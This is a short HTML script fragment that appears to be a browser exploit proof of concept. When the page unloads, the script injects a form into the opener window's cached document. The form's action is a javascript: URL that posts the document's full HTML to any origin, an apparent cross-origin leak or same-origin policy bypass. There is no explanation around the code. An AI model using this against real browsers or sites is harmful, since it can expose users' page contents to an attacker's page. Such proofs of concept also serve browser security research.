| <script> | |
| if (parent.opener) { | |
| onunload = () => { | |
| a = parent.opener.cached_doc.body.appendChild(document.createElement('form')); | |
| a.action = 'javascript:opener.postMessage(document.firstChild.outerHTML, "*")'; | |
| a.submit(); | |
| } | |
| parent.opener.child_loaded = true; | |
| } | |
| </script> |